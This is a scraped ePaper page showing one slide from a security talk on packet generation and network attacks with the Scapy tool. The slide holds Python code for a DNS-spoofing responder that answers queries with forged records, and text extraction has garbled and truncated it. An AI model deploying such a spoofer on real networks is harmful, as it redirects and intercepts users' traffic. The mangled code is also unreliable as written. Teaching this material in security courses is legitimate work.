10.08.2015 Views

Packet generation and network based attacks with Scapy - SecDev.org

Packet generation and network based attacks with Scapy - SecDev.org

Packet generation and network based attacks with Scapy - SecDev.org

SHOW MORE
SHOW LESS
  • No tags were found...

Create successful ePaper yourself

Turn your PDF publications into a flip-book with our unique Google optimized e-Paper software.

Answering machinesIntroduction<strong>Scapy</strong>Network discovery <strong>and</strong> <strong>attacks</strong>GenesisConceptsQuick overviewclass DNS am( AnsweringMachine ) :function name="dns_spoof"f i l t e r = "udp␣port␣53"def parse options ( self , joker="192.168.1.1" , zone=None ) :i f zone i s None :zone = {}s e l f . zone = zones e l f . joker=jokerdef is request ( self , req ) :return req . haslayer (DNS) <strong>and</strong> req . getlayer (DNS) . qr == 0def make reply ( self , req ) :ip = req . getlayer ( IP )dns = req . getlayer (DNS)resp = IP ( dst=ip . src , src=ip . dst )/UDP( dport=ip . sport , sportrdata = s e l f . zone . get ( dns . qd . qname , s e l f . joker )resp /= DNS( id=dns . id , qr =1 , qd=dns . qd ,an=DNSRR( rrname=dns . qd . qname , t t l =10 , rdata=rdreturn respPhilippe BIONDI<strong>Packet</strong> <strong>generation</strong> <strong>and</strong> <strong>network</strong> <strong>based</strong> <strong>attacks</strong> <strong>with</strong> <strong>Scapy</strong>

Hooray! Your file is uploaded and ready to be published.

Saved successfully!

Ooh no, something went wrong!